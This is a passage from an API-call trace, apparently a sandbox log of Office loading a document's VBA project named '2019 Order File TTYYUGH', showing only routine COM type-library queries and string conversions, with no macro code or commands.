ppvObject=0x267598*=0x0) returned 0x80004002 [0036.854] ITypeLib:RemoteGetDocumentation (in: This=0x7f8b1f0, index=-1, refPtrFlags=0x2678d8, pbstrName=0x0, pBstrDocString=0x0, pdwHelpContext=0x0, pBstrHelpFile=0x1 | out: pbstrName=0x0, pBstrDocString=0x0, pdwHelpContext=0x0, pBstrHelpFile=0x1) returned 0x0 [0036.854] CompareStringW (Locale=0x409, dwCmpFlags=0x1, lpString1="stdole", cchCount1=6, lpString2="Normal", cchCount2=6) returned 3 [0036.854] IUnknown:Release (This=0x7f8b1f0) returned 0x4 [0036.854] wcscpy_s (in: _Destination=0x81c89f8, _SizeInWords=0xa, _Source="*\\CNormal" | out: _Destination="*\\CNormal") returned 0x0 [0036.854] wcsncpy_s (in: _Destination=0x2671f0, _SizeInWords=0x108, _Source="*\\CNormal", _MaxCount=0x106 | out: _Destination="*\\CNormal") returned 0x0 [0036.854] CharLowerBuffW (in: lpsz="*\\CNormal", cchLength=0x9 | out: lpsz="*\\cnormal") returned 0x9 [0036.854] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="*\\cnormal", cchWideChar=10, lpMultiByteStr=0x267120, cbMultiByte=20, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="*\\cnormal", lpUsedDefaultChar=0x0) returned 10 [0036.854] _wcsicmp (_String1="*\\CNormal", _String2="*\\CNormal") returned 0 [0036.854] SysStringByteLen (bstr="潎浲污") returned 0x6 [0036.854] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x81c89f8, cbMultiByte=6, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 6 [0036.854] SysStringByteLen (bstr="潎浲污") returned 0x6 [0036.854] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x81c89f8, cbMultiByte=7, lpWideCharStr=0x81c5fc8, cchWideChar=7 | out: lpWideCharStr="Normal") returned 7 [0036.854] CompareStringW (Locale=0x409, dwCmpFlags=0x1, lpString1="Normal", cchCount1=6, lpString2="Normal", cchCount2=6) returned 2 [0036.854] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ThisDocument", cchWideChar=13, lpMultiByteStr=0x267830, cbMultiByte=26, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ThisDocument", lpUsedDefaultChar=0x0) returned 13 [0036.854] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="ThisDocument") returned 0x109e3c [0036.855] IUnknown:QueryInterface (in: This=0x8087e90, riid=0x7fee4085af8*(Data1=0xcacc1e82, Data2=0x622b, Data3=0x11d2, Data4=([0]=0xaa, [1]=0x78, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0x99, [6]=0x1, [7]=0xd2)), ppvObject=0x2673e0 | out: ppvObject=0x2673e0*=0x0) returned 0x80004002 [0036.855] IUnknown:QueryInterface (in: This=0x8087e90, riid=0x7fee4085af8*(Data1=0xcacc1e82, Data2=0x622b, Data3=0x11d2, Data4=([0]=0xaa, [1]=0x78, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0x99, [6]=0x1, [7]=0xd2)), ppvObject=0x2673b0 | out: ppvObject=0x2673b0*=0x0) returned 0x80004002 [0036.855] IUnknown:QueryInterface (in: This=0x8087e90, riid=0x7fee4090b98*(Data1=0xcacc1e83, Data2=0x622b, Data3=0x11d2, Data4=([0]=0xaa, [1]=0x78, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0x99, [6]=0x1, [7]=0xd2)), ppvObject=0x2673a0 | out: ppvObject=0x2673a0*=0x0) returned 0x80004002 [0036.855] IUnknown:QueryInterface (in: This=0x8087e90, riid=0x7fee4090b88*(Data1=0xcacc1e88, Data2=0x622b, Data3=0x11d2, Data4=([0]=0xaa, [1]=0x78, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0x99, [6]=0x1, [7]=0xd2)), ppvObject=0x2673a8 | out: ppvObject=0x2673a8*=0x0) returned 0x80004002 [0036.855] ITypeInfo:RemoteGetTypeAttr (in: This=0x8087e90, ppTypeAttr=0x2673d8, pDummy=0x10 | out: ppTypeAttr=0x2673d8, pDummy=0x10) returned 0x0 [0036.855] ITypeInfo:LocalReleaseTypeAttr (This=0x8087e90) returned 0x0 [0036.855] IUnknown:AddRef (This=0x8087e90) returned 0x3 [0036.855] IUnknown:Release (This=0x8087e90) returned 0x2 [0036.855] IMalloc:Free (This=0x7feff045380, pv=0x7e68200) [0036.856] SysStringByteLen (bstr="牐橯捥t") returned 0x7 [0036.856] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x81c89f8, cbMultiByte=7, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 7 [0036.856] SysStringByteLen (bstr="牐橯捥t") returned 0x7 [0036.856] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x81c89f8, cbMultiByte=8, lpWideCharStr=0x81c5fc8, cchWideChar=8 | out: lpWideCharStr="Project") returned 8 [0036.856] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="2019 Order File TTYYUGH", cchWideChar=-1, lpMultiByteStr=0xae67e00, cbMultiByte=47, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="2019 Order File TTYYUGH", lpUsedDefaultChar=0x0) returned 24 [0036.856] SysStringByteLen (bstr="牐橯捥t") returned 0x7 [0036.856] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x81c89f8, cbMultiByte=7, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 7 [0036.856] SysStringByteLen (bstr="牐橯捥t") returned 0x7 [0036.856] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x81c89f8, cbMultiByte=8, lpWideCharStr=0x81c5ed8, cchWideChar=8 | out: lpWideCharStr="Project") returned 8 [0036.856] lstrlenA (lpString="Project") returned 7 [0036.856] lstrcatA (in: lpString1="Project", lpString2=" (" | out: lpString1="Project (") returned="Project (" [0036.856] strncat_s (in: _Destination="Project (", _SizeInBytes=0x187, _Source="2019 Order File TTYYUGH", _MaxCount=0x28 | out: _Destination="Project (2019 Order File TTYYUGH") returned 0x0 [0036.856] lstrcatA (in: lpString1="Project (2019 Order File TTYYUGH", lpString2=")" | out: lpString1="Project (2019 Order File TTYYUGH)") returned="Project (2019 Order File TTYYUGH)" [0036.856] IMalloc:Alloc (This=0x7feff045380, cb=0xa8) returned 0x8220b70 [0036.856] IMalloc:Alloc (This=0x7feff045380, cb=0x30) returned 0x7e68200 [0036.856] IMalloc:Alloc (This=0x7feff045380, cb=0x60) returned 0x81a0d70 [0036.857] IMalloc:Alloc (This=0x7feff045380, cb=0xa8) returned 0x8220cd0 [0036.857] IMalloc:Alloc (This=0x7feff045380, cb=0x30) returned 0x7e68480 [0036.857] ITypeInfo:RemoteGetTypeAttr (in: This=0x8087e90, ppTypeAttr=0x2677c8, pDummy=0x81e7bc0 | out: ppTypeAttr=0x2677c8, pDummy=0x81e7bc0*=0x7) returned 0x0 [0036.857] ITypeInfo:LocalReleaseTypeAttr (This=0x8087e90) returned 0x0 [0036.857] IUnknown:Release (This=0x8087e90) returned 0x2 [0036.857] ITypeInfo:RemoteGetTypeAttr (in: This=0x8087e90, ppTypeAttr=0x267a08, pDummy=0x81f7050 | out: ppTypeAttr=0x267a08, pDummy=0x81f7050*=0xffff0017) returned 0x0 [0036.858] ITypeInfo:LocalReleaseTypeAttr (This=0x8087e90) returned 0x0 [0036.858] IUnknown:Release (This=0x8087e90) returned 0x2 [0036.863] IMalloc:Alloc (This=0x7feff045380, cb=0x0) returned 0x8228fd0 [0036.863] IUnknown:QueryInterface (in: This=0x8087d30, riid=0x7fee4085af8*(Data1=0xcacc1e82, Data2=0x622b, Data3=0x11d2, Data4=([0]=0xaa, [1]=0x78, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0x99, [6]=0x1, [7]=0xd2)), ppvObject=0x267200 | out: ppvObject=0x267200*=0x0) returned 0x80004002 [0036.863] IUnknown:QueryInterface (in: This=0x8087d30, riid=0x7fee40840f0*(Data1=0x20412, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x267148 | out: ppvObject=0x267148*=0x8087d30) returned 0x0 [0036.863] ITypeInfo2:GetCustData (in: This=0x8087d30, GUID=0x7fee408d970*(Data1=0xba65d790, Data2=0x9301, Data3=0x11cf, Data4=([0]=0x8d, [1]=0x22, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x37, [6]=0x53, [7]=0x84)), pVarVal=0x267158 | out: pVarVal=0x267158*(varType=0x0, wReserved1=0x26, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x800000000)) returned 0x0 [0036.863] IUnknown:Release (This=0x8087d30) returned 0x2 [0036.863] ITypeInfo:RemoteGetDocumentation (in: This=0x8087d30, memid=-1, refPtrFlags=0x267150, pbstrName=0x0, pBstrDocString=0x0, pdwHelpContext=0x0, pBstrHelpFile=0x267170 | out: pbstrName=0x0, pBstrDocString=0x0, pdwHelpContext=0x0, pBstrHelpFile=0x267170*="") returned 0x0 [0036.864] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="Document", cchWideChar=9, lpMultiByteStr=0x267060, cbMultiByte=18, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Document", lpUsedDefaultChar=0x0) returned 9 [0036.864] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Document") returned 0x10d36a [0036.864] ITypeInfo:RemoteGetTypeAttr (in: This=0x8087de0, ppTypeAttr=0x267150, pDummy=0x0 | out: ppTypeAttr=0x267150, pDummy=0x0) returned 0x0 [0036.864] ITypeInfo:LocalReleaseTypeAttr (This=0x8087de0) returned 0x0 [0036.864] ITypeInfo:RemoteGetFuncDesc (in: This=0x8087de0, index=0x0, ppFuncDesc=0x267128, pDummy=0x80 | out: ppFuncDesc=0x267128, pDummy=0x80) returned 0x0 [0036.864] ITypeInfo:LocalReleaseFuncDesc (This=0x8087de0) returned 0x0 [0036.864] ITypeInfo:RemoteGetFuncDesc (in: This=0x8087de0, index=0x1, ppFuncDesc=0x267128, pDummy=0x80 | out: ppFuncDesc=0x267128, pDummy=0x80) returned 0x0 [0036.864] ITypeInfo:LocalReleaseFuncDesc (This=0x8087de0) returned 0x0 [0036.864] ITypeInfo:RemoteGetFuncDesc (in: This=0x8087de0, index=0x2, ppFuncDesc=0x267128, pDummy=0x80 | out: ppFuncDesc=0x267128, pDummy=0x80) returned 0x0 [0036.864] ITypeInfo:LocalReleaseFuncDesc (This=0x8087de0) returned 0x0 [0036.864] ITypeInfo:RemoteGetFuncDesc (in: This=0x8087de0, index=0x3, ppFuncDesc=0x267128, pDummy=0x80 | out: ppFuncDesc=0x267128, pDummy=0x80) returned 0x0 [0036.864] ITypeInfo:LocalReleaseFuncDesc (This=0x8087de0) returned 0x0 [0036.864] ITypeInfo:RemoteGetFuncDesc (in: This=0x8087de0, index=0x4, ppFuncDesc=0x267128, pDummy=0x80 | out: ppFuncDesc=0x267128, pDummy=0x80) returned 0x0 [0036.864] ITypeInfo:LocalReleaseFuncDesc (This=0x8087de0) returned 0x0 [0036.864] ITypeInfo:RemoteGetFuncDesc (in: This=0x8087de0, index=0x5, ppFuncDesc=0x267128, pDummy=0x80 | out: ppFuncDesc=0x267128, pDummy=0x80) returned 0x0 [0036.864] ITypeInfo:LocalReleaseFuncDesc (This=0x8087de0) returned 0x0 [0036.864] ITypeInfo:RemoteGetFuncDesc (in: This=0x8087de0, index=0x6, ppFuncDesc=0x267128, pDummy=0x80 | out: ppFuncDesc=0x267128, pDummy=0x80) returned 0x0 [0036.864] ITypeInfo:LocalReleaseFuncDesc (This=0x8087de0) returned 0x0 [0036.864] ITypeInfo:RemoteGetFuncDesc (in: This=0x8087de0, index=0x7, ppFuncDesc=0x267128, pDummy=0x80 | out: ppFuncDesc=0x267128, pDummy=0x80) returned 0x0 [0036.864] ITypeInfo:LocalReleaseFuncDesc (This=0x8087de0) returned 0x0 [0036.864] ITypeInfo:RemoteGetFuncDesc (in: This=0x8087de0, index=0x8, ppFuncDesc=0x267128, pDummy=0x80 | out: ppFuncDesc=0x267128, pDummy=0x80) returned 0x0 [0036.864] ITypeInfo:LocalReleaseFuncDesc (This=0x8087de0) returned 0x0 [0036.864] ITypeInfo:RemoteGetFuncDesc (in: This=0x8087de0, index=0x9, ppFuncDesc=0x267128, pDummy=0x80 | out: ppFuncDesc=0x267128, pDummy=0x80) returned 0x0 [0036.864] ITypeInfo:LocalReleaseFuncDesc (This=0x8087de0) returned 0x0 [0036.864] ITypeInfo:RemoteGetFuncDesc (in: This=0x8087de0, index=0xa, ppFuncDesc=0x267128, pDummy=0x80 | out: ppFuncDesc=0x267128, pDummy=0x80) returned 0x0 [0036.864] ITypeInfo:LocalReleaseFuncDesc (This=0x8087de0) returned 0x0 [0036.864] ITypeInfo:RemoteGetFuncDesc (in: This=0x8087de0, index=0xb, ppFuncDesc=0x267128, pDummy=0x80 | out: ppFuncDesc=0x267128, pDummy=0x80) returned 0x0 [0036.864] ITypeInfo:LocalReleaseFuncDesc (This=0x8087de0) returned 0x0 [0036.864] ITypeInfo:RemoteGetFuncDesc (in: This=0x8087de0, index=0xc, ppFuncDesc=0x267128, pDummy=0x80 | out: ppFuncDesc=0x267128, pDummy=0x80) returned 0x0 [0036.864] ITypeInfo:LocalReleaseFuncDesc (This=0x8087de0) returned 0x0 [0036.864] ITypeInfo:RemoteGetFuncDesc (in: This=0x8087de0, index=0xd, ppFuncDesc=0x267128, pDummy=0x80 | out: ppFuncDesc=0x267128, pDummy=0x80) returned 0x0 [0036.864] ITypeInfo:LocalReleaseFuncDesc (This=0x8087de0) returned 0x0 [0036.864] ITypeInfo:RemoteGetFuncDesc (in: This=0x8087de0, index=0xe, ppFuncDesc=0x267128, pDummy=0x80 | out: ppFuncDesc=0x267128, pDummy=0x80) returned 0x0 [0036.864] ITypeInfo:LocalReleaseFuncDesc (This=0x8087de0) returned 0x0 [0036.864] ITypeInfo:RemoteGetFuncDesc (in: This=0x8087de0, index=0xf, ppFuncDesc=0x267128, pDummy=0x80 | out: ppFuncDesc=0x267128, pDummy=0x80) returned 0x0 [0036.864] ITypeInfo:LocalReleaseFuncDesc (This=0x8087de0) returned 0x0 [0036.864] ITypeInfo:RemoteGetFuncDesc (in: This=0x8087de0, index=0x10, ppFuncDesc=0x267128, pDummy=0x80 | out: ppFuncDesc=0x267128, pDummy=0x80) returned 0x0 [0036.864] ITypeInfo:LocalReleaseFuncDesc (This=0x8087de0) returned 0x0 [0036.864] ITypeInfo:RemoteGetFuncDesc (in: This=0x8087de0, index=0x11, ppFuncDesc=0x267128, pDummy=0x80 | out: ppFuncDesc=0x267128, pDummy=0x80) returned 0x0 [0036.864] ITypeInfo:LocalReleaseFuncDesc (This=0x8087de0) returned 0x0 [0036.864] ITypeInfo:RemoteGetFuncDesc (in: This=0x8087de0, index=0x12, ppFuncDesc=0x267128, pDummy=0x80 | out: ppFuncDesc=0x267128, pDummy=0x80) returned 0x0 [0036.864] ITypeInfo:LocalReleaseFuncDesc (This=0x8087de0) returned 0x0 [0036.864] ITypeInfo:RemoteGetFuncDesc (in: This=0x8087de0, index=0x13, ppFuncDesc=0x267128, pDummy=0x80 | out: ppFuncDesc=0x267128, pDummy=0x80) returned 0x0 [0036.864] ITypeInfo:LocalReleaseFuncDesc (This=0x8087de0) returned 0x0 [0036.864] ITypeInfo:RemoteGetFuncDesc (in: This=0x8087de0, index=0x14, ppFuncDesc=0x267128, pDummy=0x80 | out: ppFuncDesc=0x267128, pDummy=0x80) returned 0x0 [0036.864] ITypeInfo:LocalReleaseFuncDesc (This=0x8087de0) returned 0x0 [0036.864] ITypeInfo:RemoteGetFuncDesc (in: This=0x8087de0, index=0x15, ppFuncDesc=0x267128, pDummy=0x80 | out: ppFuncDesc=0x267128, pDummy=0x80) returned 0x0 [0036.864] ITypeInfo:LocalReleaseFuncDesc (This=0x8087de0) returned 0x0 [0036.864] ITypeInfo:RemoteGetFuncDesc (in: This=0x8087de0, index=0x16, ppFuncDesc=0x267128, pDummy=0x80 | out: ppFuncDesc=0x267128, pDummy=0x80) returned 0x0 [0036.865] ITypeInfo:LocalReleaseFuncDesc (This=0x8087de0) returned 0x0 [0036.865] ITypeInfo:RemoteGetFuncDesc (in: This=0x8087de0, index=0x17, ppFuncDesc=0x267128, pDummy=0x80 | out: ppFuncDesc=0x267128, pDummy=0x80) returned 0x0 [0036.865] ITypeInfo:LocalReleaseFuncDesc (This=0x8087de0) returned 0x0 [0036.865] ITypeInfo:RemoteGetFuncDesc (in: This=0x8087de0, index=0x18, ppFuncDesc=0x267128, pDummy=0x80 | out: ppFuncDesc=0x267128, pDummy=0x80) returned 0x0 [0036.865] ITypeInfo:LocalReleaseFuncDesc (This=0x8087de0) returned 0x0 [0036.865] ITypeInfo:RemoteGetFuncDesc (in: This=0x8087de0, index=0x19, ppFuncDesc=0x267128, pDummy=0x80 | out: ppFuncDesc=0x267128, pDummy=0x80) returned 0x0 [0036.865] ITypeInfo:LocalReleaseFuncDesc (This=0x8087de0) returned 0x0 [0036.865] ITypeInfo:RemoteGetFuncDesc (in: This=0x8087de0, index=0x1a, ppFuncDesc=0x267128, pDummy=0x80 | out: ppFuncDesc=0x267128, pDummy=0x80) returned 0x0 [0036.865] ITypeInfo:LocalReleaseFuncDesc (This=0x8087de0) returned 0x0 [0036.865] ITypeInfo:RemoteGetFuncDesc (in: This=0x8087de0, index=0x1b, ppFuncDesc=0x267128, pDummy=0x80 | out: ppFuncDesc=0x267128, pDummy=0x80) returned 0x0 [0036.865] ITypeInfo:LocalReleaseFuncDesc (This=0x8087de0) returned 0x0 [0036.865] ITypeInfo:RemoteGetFuncDesc (in: This=0x8087de0, index=0x1c, ppFuncDesc=0x267128, pDummy=0x80 | out: ppFuncDesc=0x267128, pDummy=0x80) returned 0x0 [0036.865] ITypeInfo:LocalReleaseFuncDesc (This=0x8087de0) returned 0x0 [0036.865] ITypeInfo:RemoteGetFuncDesc (in: This=0x8087de0, index=0x1d, ppFuncDesc=0x267128, pDummy=0x80 | out: ppFuncDesc=0x267128, pDummy=0x80) returned 0x0 [0036.865] ITypeInfo:LocalReleaseFuncDesc (This=0x8087de0) returned 0x0 [0036.865] ITypeInfo:RemoteGetFuncDesc (in: This=0x8087de0, index=0x1e, ppFuncDesc=0x267128, pDummy=0x80 | out: ppFuncDesc=0x267128, pDummy=0x80) returned 0x0 [0036.865] ITypeInfo:LocalReleaseFuncDesc (This=0x8087de0) returned 0x0 [0036.865] ITypeInfo:RemoteGetFuncDesc (in: This=0x8087de0, index=0x1f, ppFuncDesc=0x267128, pDummy=0x80 | out: ppFuncDesc=0x267128, pDummy=0x80) returned 0x0 [0036.865] ITypeInfo:LocalReleaseFuncDesc (This=0x8087de0) returned 0x0 [0036.865] ITypeInfo:RemoteGetFuncDesc (in: This=0x8087de0, index=0x20, ppFuncDesc=0x267128, pDummy=0x80 | out: ppFuncDesc=0x267128, pDummy=0x80) returned 0x0 [0036.865] ITypeInfo:LocalReleaseFuncDesc (This=0x8087de0) returned 0x0 [0036.865] ITypeInfo:RemoteGetFuncDesc (in: This=0x8087de0, index=0x21, ppFuncDesc=0x267128, pDummy=0x80 | out: ppFuncDesc=0x267128, pDummy=0x80) returned 0x0 [0036.865] ITypeInfo:LocalReleaseFuncDesc (This=0x8087de0) returned 0x0 [0036.865] ITypeInfo:RemoteGetFuncDesc (in: This=0x8087de0, index=0x22, ppFuncDesc=0x267128, pDummy=0x80 | out: ppFuncDesc=0x267128, pDummy=0x80) returned 0x0 [0036.865] ITypeInfo:LocalReleaseFuncDesc (This=0x8087de0) returned 0x0 [0036.865] ITypeInfo:RemoteGetFuncDesc (in: This=0x8087de0, index=0x23, ppFuncDesc=0x267128, pDummy=0x80 | out: ppFuncDesc=0x267128, pDummy=0x80) returned 0x0 [0036.865] ITypeInfo:LocalReleaseFuncDesc (This=0x8087de0) returned 0x0 [0036.865] ITypeInfo:RemoteGetFuncDesc (in: This=0x8087de0, index=0x24, ppFuncDesc=0x267128, pDummy=0x80 | out: ppFuncDesc=0x267128, pDummy=0x80) returned 0x0 [0036.865] ITypeInfo:LocalReleaseFuncDesc (This=0x8087de0) returned 0x0 [0036.865] ITypeInfo:RemoteGetFuncDesc (in: This=0x8087de0, index=0x25, ppFuncDesc=0x267128, pDummy=0x80 | out: ppFuncDesc=0x267128, pDummy=0x80) returned 0x0 [0036.865] ITypeInfo:LocalReleaseFuncDesc (This=0x8087de0) returned 0x0 [0036.865] ITypeInfo:RemoteGetFuncDesc (in: This=0x8087de0, index=0x26, ppFuncDesc=0x267128, pDummy=0x80 | out: ppFuncDesc=0x267128, pDummy=0x80) returned 0x0 [0036.865] ITypeInfo:LocalReleaseFuncDesc (This=0x8087de0) returned 0x0 [0036.865] ITypeInfo:RemoteGetFuncDesc (in: This=0x8087de0, index=0x27, ppFuncDesc=0x267128, pDummy=0x80 | out: ppFuncDesc=0x267128, pDummy=0x80) returned 0x0 [0036.865] ITypeInfo:LocalReleaseFuncDesc (This=0x8087de0) returned 0x0 [0036.865] ITypeInfo:RemoteGetFuncDesc (in: This=0x8087de0, index=0x28, ppFuncDesc=0x267128, pDummy=0x80 | out: ppFuncDesc=0x267128, pDummy=0x80) returned 0x0 [0036.865] ITypeInfo:LocalReleaseFuncDesc (This=0x8087de0) returned 0x0 [0036.865] ITypeInfo:RemoteGetFuncDesc (in: This=0x8087de0, index=0x29, ppFuncDesc=0x267128, pDummy=0x80 | out: ppFuncDesc=0x267128, pDummy=0x80) returned 0x0 [0036.865] ITypeInfo:LocalReleaseFuncDesc (This=0x8087de0) returned 0x0 [0036.865] ITypeInfo:RemoteGetFuncDesc (in: This=0x8087de0, index=0x2a, ppFuncDesc=0x267128, pDummy=0x80 | out: ppFuncDesc=0x267128, pDummy=0x80) returned 0x0 [0036.865] ITypeInfo:LocalReleaseFuncDesc (This=0x8087de0) returned 0x0 [0036.866] ITypeInfo:RemoteGetFuncDesc (in: This=0x8087de0, index=0x2b, ppFuncDesc=0x267128, pDummy=0x80 | out: ppFuncDesc=0x267128, pDummy=0x80) returned 0x0 [0036.866] ITypeInfo:LocalReleaseFuncDesc (This=0x8087de0) returned 0x0 [0036.866] ITypeInfo:RemoteGetFuncDesc (in: This=0x8087de0, index=0x2c, ppFuncDesc=0x267128, pDummy=0x80 | out: ppFuncDesc=0x267128, pDummy=0x80) returned 0x0 [0036.866] ITypeInfo:LocalReleaseFuncDesc (This=0x8087de0) returned 0x0 [0036.866] ITypeInfo:RemoteGetFuncDesc (in: This=0x8087de0, index=0x2d, ppFuncDesc=0x267128, pDummy=0x80 | out: ppFuncDesc=0x267128, pDummy=0x80) returned 0x0 [0036.866] ITypeInfo:LocalReleaseFuncDesc (This=0x8087de0) returned 0x0 [0036.866] ITypeInfo:RemoteGetFuncDesc (in: This=0x8087de0, index=0x2e, ppFuncDesc=0x267128, pDummy=0x80 | out: ppFuncDesc=0x267128, pDummy=0x80) returned 0x0 [0036.866] ITypeInfo:LocalReleaseFuncDesc (This=0x8087de0) returned 0x0 [0036.866] ITypeInfo:RemoteGetFuncDesc (in: This=0x8087de0, index=0x2f, ppFuncDesc=0x267128, pDummy=0x80 | out: ppFuncDesc=0x267128, pDummy=0x80) returned 0x0 [0036.866] ITypeInfo:LocalReleaseFuncDesc (This=0x8087de0) returned 0x0 [0036.866] ITypeInfo:RemoteGetFuncDesc (in: This=0x8087de0, index=0x30, ppFuncDesc=0x267128, pDummy=0x80 | out: ppFuncDesc=0x267128, pDummy=0x80) returned 0x0 [0036.866] ITypeInfo:LocalReleaseFuncDesc (This=0x8087de0) returned 0x0 [0036.866] ITypeInfo:RemoteGetFuncDesc (in: This=0x8087de0, index=0x31, ppFuncDesc=0x267128, pDummy=0x80 | out: ppFuncDesc=0x267128, pDummy=0x80) returned 0x0 [0036.866] ITypeInfo:LocalReleaseFuncDesc (This=0x8087de0) returned 0x0 [0036.866] ITypeInfo:RemoteGetFuncDesc (in: This=0x8087de0, index=0x32, ppFuncDesc=0x267128, pDummy=0x80 | out: ppFuncDesc=0x267128, pDummy=0x80) returned 0x0 [0036.866] ITypeInfo:LocalReleaseFuncDesc (This=0x8087de0) returned 0x0 [0036.866] ITypeInfo:RemoteGetFuncDesc (in: This=0x8087de0, index=0x33, ppFuncDesc=0x267128, pDummy=0x80 | out: ppFuncDesc=0x267128, pDummy=0x80) returned 0x0 [0036.866] ITypeInfo:LocalReleaseFuncDesc (This=0x8087de0) returned 0x0 [0036.866] ITypeInfo:RemoteGetFuncDesc (in: This=0x8087de0, index=0x34, ppFuncDesc=0x267128, pDummy=0x80 | out: ppFuncDesc=0x267128, pDummy=0x80) returned 0x0 [0036.866] ITypeInfo:LocalReleaseFuncDesc (This=0x8087de0) returned 0x0 [0036.866] ITypeInfo:RemoteGetFuncDesc (in: This=0x8087de0, index=0x35, ppFuncDesc=0x267128, pDummy=0x80 | out: ppFuncDesc=0x267128, pDummy=0x80) returned 0x0 [0036.866] ITypeInfo:LocalReleaseFuncDesc (This=0x8087de0) returned 0x0 [0036.866] ITypeInfo:RemoteGetFuncDesc (in: This=0x8087de0, index=0x36, ppFuncDesc=0x267128, pDummy=0x80 | out: ppFuncDesc=0x267128, pDummy=0x80) returned 0x0 [0036.866] ITypeInfo:LocalReleaseFuncDesc (This=0x8087de0) returned 0x0 [0036.866] ITypeInfo:RemoteGetFuncDesc (in: This=0x8087de0, index=0x37, ppFuncDesc=0x267128, pDummy=0x80 | out: ppFuncDesc=0x267128, pDummy=0x80) returned 0x0 [0036.866] ITypeInfo:LocalReleaseFuncDesc (This=0x8087de0) returned 0x0 [0036.866] ITypeInfo:RemoteGetFuncDesc (in: This=0x8087de0, index=0x38, ppFuncDesc=0x267128, pDummy=0x80 | out: ppFuncDesc=0x267128, pDummy=0x80) returned 0x0 [0036.866] ITypeInfo:LocalReleaseFuncDesc (This=0x8087de0) returned 0x0 [0036.866] ITypeInfo:RemoteGetFuncDesc (in: This=0x8087de0, index=0x39, ppFuncDesc=0x267128, pDummy=0x80 | out: ppFuncDesc=0x267128, pDummy=0x80) returned 0x0 [0036.866] ITypeInfo:LocalReleaseFuncDesc (This=0x8087de0) returned 0x0 [0036.866] ITypeInfo:RemoteGetFuncDesc (in: This=0x8087de0, index=0x3a, ppFuncDesc=0x267128, pDummy=0x80 | out: ppFuncDesc=0x267128, pDummy=0x80) returned 0x0 [0036.866] ITypeInfo:LocalReleaseFuncDesc (This=0x8087de0) returned 0x0 [0036.866] ITypeInfo:RemoteGetFuncDesc (in: This=0x8087de0, index=0x3b, ppFuncDesc=0x267128, pDummy=0x80 | out: ppFuncDesc=0x267128, pDummy=0x80) returned 0x0 [0036.866] ITypeInfo:LocalReleaseFuncDesc (This=0x8087de0) returned 0x0 [0036.866] ITypeInfo:RemoteGetFuncDesc (in: This=0x8087de0, index=0x3c, ppFuncDesc=0x267128, pDummy=0x80 | out: ppFuncDesc=0x267128, pDummy=0x80) returned 0x0 [0036.866] ITypeInfo:LocalReleaseFuncDesc (This=0x8087de0) returned 0x0 [0036.866] ITypeInfo:RemoteGetFuncDesc (in: This=0x8087de0, index=0x3d, ppFuncDesc=0x267128, pDummy=0x80 | out: ppFuncDesc=0x267128, pDummy=0x80) returned 0x0 [0036.866] ITypeInfo:LocalReleaseFuncDesc (This=0x8087de0) returned 0x0 [0036.866] ITypeInfo:RemoteGetFuncDesc (in: This=0x8087de0, index=0x3e, ppFuncDesc=0x267128, pDummy=0x80 | out: ppFuncDesc=0x267128, pDummy=0x80) returned 0x0 [0036.866] ITypeInfo:LocalReleaseFuncDesc (This=0x8087de0) returned 0x0 [0036.866] ITypeInfo:RemoteGetFuncDesc (in: This=0x8087de0, index=0x3f, ppFuncDesc=0x267128, pDummy=0x80 | out: ppFuncDesc=0x267128, pDummy=0x80) returned 0x0 [0036.866] ITypeInfo:LocalReleaseFuncDesc (This=0x8087de0) returned 0x0 [0036.866] ITypeInfo:RemoteGetFuncDesc (in: This=0x8087de0, index=0x40, ppFuncDesc=0x267128, pDummy=0x80 | out: ppFuncDesc=0x267128, pDummy=0x80) returned 0x0 [0036.866] ITypeInfo:LocalReleaseFuncDesc (This=0x8087de0) returned 0x0 [0036.867] ITypeInfo:RemoteGetFuncDesc (in: This=0x8087de0, index=0x41, ppFuncDesc=0x267128, pDummy=0x80 | out: ppFuncDesc=0x267128, pDummy=0x80) returned 0x0 [0036.867] ITypeInfo:LocalReleaseFuncDesc (This=0x8087de0) returned 0x0 [0036.867] ITypeInfo:RemoteGetFuncDesc (in: This=0x8087de0, index=0x42, ppFuncDesc=0x267128, pDummy=0x80 | out: ppFuncDesc=0x267128, pDummy=0x80) returned 0x0 [0036.867] ITypeInfo:LocalReleaseFuncDesc (This=0x8087de0) returned 0x0 [0036.867] ITypeInfo:RemoteGetFuncDesc (in: This=0x8087de0, index=0x43, ppFuncDesc=0x267128, pDummy=0x80 | out: ppFuncDesc=0x267128, pDummy=0x80) returned 0x0 [0036.867] ITypeInfo:LocalReleaseFuncDesc (This=0x8087de0) returned 0x0 [0036.867] ITypeInfo:RemoteGetFuncDesc (in: This=0x8087de0, index=0x44, ppFuncDesc=0x267128, pDummy=0x80 | out: 